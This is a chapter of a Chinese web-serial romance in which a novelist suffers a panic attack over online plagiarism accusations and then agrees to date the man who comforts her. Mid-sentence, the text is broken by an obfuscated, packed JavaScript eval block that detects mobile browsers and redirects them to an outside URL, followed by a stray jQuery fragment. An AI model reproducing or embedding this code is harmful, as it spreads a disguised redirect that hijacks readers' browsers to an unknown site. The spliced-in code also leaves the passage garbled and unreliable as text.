26. 第 26 章
作品:《如何让我的baby看上我》 李红砂来得比平常晚些,夏达海便提前去后厨忙活他们的早餐。
天一副要下雨的模样,乌云把整个包头村闷了一个晚上,出门大家身上都发着汗。
夏达海决定早餐做甜豆花吃。
李红砂有她自己没察觉到的起床气。
这是某次她在农家乐午睡,被鱼刺吵醒,闷不做声地背过身子,任鱼刺怎么刨她都不理猫,被他发现的。
天气闷着热,就适合吃甜品解暑。
李红砂一定会开心。
夏达海做好甜豆花盛出来,李红砂刚好带着朋友到了。
袁永晴坚持吃饭的钱分开算,李红砂没拒绝,大学她们都是AA过来的。
进门看见甜豆花,李红砂昨晚没睡好的疲惫散去些,她雀跃地上去问:“加红糖和牛奶了吗?”
“放了的。”夏达海举起手比动作,“我还加了一点白糖。”
李红砂面露喜色,彻底看不见睡不好的倦怠,端着碗搅吧搅吧就开始喝。
袁永晴盯着这碗豆花看了好久,挑刺地问:“没有辣的吗?”
她目光锐利,看得夏达海不悦。
夏达海进厨房给她打了碗新的,小料全拿出来,让她自己调。
袁永晴随心操作,把一碗白豆花弄成辣红,才满意地开喝。
太重口了,夏达海和李红砂在旁边尽量避开眼,不去看,免得影响食欲。
吃完袁永晴也意识到了,夏达海别开眼,她没意见,李红砂不看她,她就不高兴了。
袁永晴倾身竖起根手指戳李红砂的脸蛋:“什么意思?你不看我,是表示跟他是一家人口味,跟我不是吗?”
“没有。”李红砂苍白辩解,眼神却是不愿朝她嘴上的红油看去。
袁永晴叫嚣她没人性,有男人忘朋友。
李红砂默不作声,静待她“发疯”。
夏达海默默地在一旁cos“贤夫”,收拾他们吃好的碗。
多说多错,虽然不喜欢袁永晴,但他还是想尽力给袁永晴留一个好印象。
大概是源自于每个闺蜜对朋友的占有欲和珍视,袁永晴始终看不惯夏达海。
即便夏达海会做饭,身材好,脸也还算过得去。
袁永晴就是讨厌他。
讨厌她消失了一年多的朋友,身边突然出现个她不认识的男人。
趁李红砂吃饱,说要带骨头出去散步,袁永晴拉住想跟去的夏达海,对李红砂意味不明地笑:“你去吧,我留在这里改剧本。”
她的手就藏在李红砂看不见的视角内,用力地攥紧夏达海衬衣的后摆。
夏达海不适应除李红砂和亲人外,任何女人的靠近。在袁永晴的手拉上来的那刻,他就挺了身,脊背远离她的手。
他神情不自在:“你去吧,我在后厨忙。”
夏达海难得没在晨间跟她一起散步,李红砂迟疑了下,但也没多问,拉着狗绳,径直离开。
李红砂一走,夏达海立刻大踏步向前,躲开袁永晴的拉扯。
袁永晴也是很嫌弃地甩甩手:“你喜欢红砂是不是?”
单刀直入的话。
夏达海没否认,用一双黑沉的眼盯住袁永晴,不多做解释。
他喜欢李红砂这件事,包头村大半相熟的人都知道了。初见,袁永晴就对他严词厉色,想来也不需要他解释。
看他默认了,袁永晴在李红砂面前的娇俏友善尽数掩去,她用不太礼貌的眼神,再次将夏达海上下打量番。
不得不承认,不顶个“追求者”的身份,夏达海这个人在她眼里会是更客观的,帅哥形象。
“我不同意你追求红砂。”
“嗯。”夏达海的态度可以称得上冷静。
让袁永晴咄咄逼人的气势瞬间就弱了下去:“别以为红砂昨天那样介绍你,你就有机会,她只是习惯保护别人的自尊。”
对此,夏达海认可地点点头:“我知道,红砂一直都很好。”
坏话全说了,他还这么平静,袁永晴被他噎了瞬:“你就算夸她,我也不会同意。”
夏达海:“嗯。”
“你就没什么要说的吗?”袁永晴着实被他嗯烦了,嗯嗯嗯,拉屎呢嗯!
夏达海盯着她,恣意张扬的漂亮脸蛋儿满是嚣张,好一番沉默之后,他抬起了手。
袁永晴以为他恼羞成怒,要动手,眼疾手快地双手抱住头。
下一秒,夏达海指着她的脑袋问:“你这个头发是怎么盘的?”
“头发?”袁永晴不可置信地反手摸向脑后。
昨天傍晚,夏达海就盯上袁永晴那头,被银质发卡高高盘起的黑发了。
李红砂也有一头漂亮乌黑的长发。
虽然她写文时,总是用手抓,想不出来还会烦躁地刨耳边的碎发,嚷嚷着要剪掉它们,但她的头发仍然乌黑亮丽。
只是李红砂不常编发,也不擅长编发。
夏达海见到袁永晴那刻,想着,也许可以像袁永晴一样,买一个好看的发卡,把李红砂的头发盘起来,卡住。
这样她就不会在写不出内容的时候,被几缕碎发干扰得生自己的气。
袁永晴看不懂夏达海,这个没什么表情,说话冷硬的男人,看着不像个好人。
一举一动也不似好人行径。
哪有问心上人的女性朋友,头发怎么盘的。
袁永晴阴着一张脸问他想干嘛。
夏达海不瞒着,说他想学了给李红砂编头发。
外头落下几滴雨的时候,李红砂牵着骨头回来了。
骨头脏脏的爪子,在她白皙的小腿上,踩下几朵泥梅花。
李红砂站屋檐下捧水缸里的水出来,擦洗小腿。骨头调皮地朝她这边抬起身子,想扑过来,被她瞥见,拿脚轻轻地踢开。
抬脚那瞬,失去平衡,李红砂扶住玻璃窗,稳住身子。
偏头朝里看去,袁永晴坐在她往常坐的躺椅旁,膝上放一个电脑,在翻看。
袁永晴早上盘好的头发,不知道什么时候散了些。
李红砂笑着走进去,夏达海瞧见她,正要叫她名字,被她竖在唇边的手指噤声。
她要悄悄过去,吓唬看电脑入神的袁永晴。
李红砂小步走到袁永晴身后,她站着,正好能看见袁永晴的电脑屏幕。
李红砂本该把手搭在袁永晴肩上,然后阴恻恻地说些鬼话。
但不凑巧,屏幕上不是她们写作常用的word文档,是篇大眼的帖子,袁永晴正在翻看评论区。
帖子井号加的tag是《星星砸死了一只猫》影视改编。
评论区不同头像说的话,占据她大半的视野。
入目的文字越来越多。
悬在空中没找到机会落下的手,身不由己地开始颤抖。
心脏跳得很快,狂奔的血液冰冷四肢,李红砂骤然呼吸不畅。
很没道理的,她哭了出来,泪水湿润眼底的红痣,她的神情一瞬之间,变得绝望无助。
夏达海在不远处旁观一切。
抚住桌案的手压紧,他不知道发生了什么,只是在李红砂呼吸困难,挣扎着朝他伸出手,迈出一步的那刻。
他松开桌案,大步跑过去,抱住朝前倾倒的李红砂。
两人的动静惊扰下方的袁永晴。
她从电脑上移开视线,落在李红砂呼吸急促的脸上。
这是袁永晴从未见过的好友的模样。
分不清汗、泪,湿漉漉的碎发贴在脸侧,李红砂眼神失焦,望着虚空的某一处,听不进夏达海安抚的话,兀自仓促紊乱地呼吸。
“120……”
袁永晴陷入耳鸣,直到夏达海发怒,冲她大喊:“快打120!”
只是恐慌带来的呼吸不畅,救护车赶到,输氧过后李红砂的脸色便开始好转。
袁永晴吓坏了,蹲在病房外面,不敢进去。
夏达海给李红砂掖好被子,出来问袁永晴,李红砂在她电脑上看见了什么。
他语气不算好,甚至像凶狠的威胁质问。
袁永晴不怕他,却害怕病房里的李红砂出事,没有隐瞒:“我在看大眼上的帖子。”
她吸了口气,把哭腔咽回去:“红砂的书要翻拍成电影了,我,我想看看反响。”
因为她只来一个晚上就发现,李红砂这两天完全不看社交媒体。
李红砂的助理已经联系到她这边,说她这几天都没回复他们的消息。
袁永晴也想借此在网上找到,李红砂不看社
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865877|175317||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
交媒体的线索。
但她没想到,李红砂躲起来,是为了保护自己。
网上那些话不堪入目,她没忍住,跟一群骂李红砂“抄袭狗”的人吵了起来。
没注意到李红砂何时站在了她的身后。
听了袁永晴的话,夏达海才知道,拥有好学历,出过书的李红砂,为什么非要一个人跑回乡下。
夏达海想质问袁永晴,想说些厉害话教训她。
可是,他没有立场,即便里面躺着的心上人,是因为她的无意之举,进了医院,他也无法越过李红砂,对袁永晴说不好的话。
夏达海无比清楚,李红砂不会怪罪袁永晴。
在病房外站了会儿,夏达海稳定好情绪,推门进去。
李红砂不知道什么时候醒了,坐在床上,目光无神地望着窗外。
夏达海静悄悄地走过去,那副孤冷,像是将心脏沉入古井中冰冷的感觉,他不清楚该不该打扰。
声音放得再轻,一个活人走近,也是会被察觉的。
李红砂转头,看见夏达海,不由自主地牵动嘴角,露出一抹温柔娴静的笑。
她这次,终于在噩梦中,认出了那柄滴血的刀上,映照出的那些脸。
他们是她笔下的人物,来她梦中讨伐她的罪过。
李红砂从噩梦中逃出来,身子疲软,她昨晚因为袁永晴在家,没找到机会吃药。
精神类的药物,长时间的戒断没什么问题,但复药后中途断一两次,就容易出事。
他们肯定吓坏了。
李红砂微笑着,尽量让自己的脸色看起来好一点,在夏达海走到身前这会儿,张开嘴。
她想说些安慰人的话,但不知怎么的,嗓子刚发出一个古怪的声调,眼睛就不自觉地落下泪来。
夏达海眼里的李红砂,孱弱地坐在病床上,无声地哭着。
喉间一瞬干涩,他上前,倾身抱住她,满心满眼的心疼。
夏达海咽咽嗓。
他只知道心疼。
头发浸入一滴湿润,李红砂感觉到夏达海也哭了。
她贴着他发汗后,有些臭味的衬衣,再次尝试着勾起嘴角,笑话他胡乱跟着别人哭。
可勉强笑出来的那刻,头顶一道清脆的声响。
夏达海这个愚蠢古怪的男人在扇自己巴掌。
他恨他只知道心疼。
什么都做不了。
他不懂李红砂的逃避,不知道李红砂的忧虑。
一个只会心疼的男人,在夏达海看来,跟废物没有区别。
爱一个人到极致,就会想成为她。
抱住李红砂的每分每秒,夏达海都在想成为她。
见她所见,听她所听,想她所想。
李红砂埋首在夏达海怀中,夏达海亦将侧脸贴上她的发梢,他们交换着各自的体温。
李红砂又一次,莫名其妙地读懂了夏达海的想法。
他一定在想,我要是能帮她哭泣就好了。
李红砂这一刻突然就被夏达海的身体吸引。
环住她的这双手臂,肌肉厚实有力,她紧靠的胸膛,宽阔柔软。
他抱紧她,融入骨血般为她传递力量。
有那么一瞬,脑中无法散去的噩梦景象,变得没那么可怕了。
夏达海的碎发蹭了蹭李红砂的耳廓,毛躁带着痒意,李红砂不哭了,想笑。
夏达海还哭着,他悲伤地说:“要是能成为你就好了。”
这是她一辈子都写不出来的情话。
李红砂拍拍他的背,带着安慰:“别哭了,我们在一起吧。”
“什么?”夏达海被惊得忘记了哭,抬起头,直起身子,直愣愣地望着她。
他眼眶还红着,李红砂学着奶奶曾经为她擦泪的动作,用手在夏达海的脸上乱抹一通。
既抹他的泪,又遮他的眼。
不让他瞧见自己思维大跳跃后,讲出突兀的话的羞赧。
抑郁和被害妄想的不安,要靠自己解决,不能全寄托在夏达海给人的安全感上。
但李红砂想为这一抹久违的安全感,为这个一直想为她做些什么,却总是手足无措的男人,给予她的回馈。
“我们交往,成为男女朋友,在一起。”

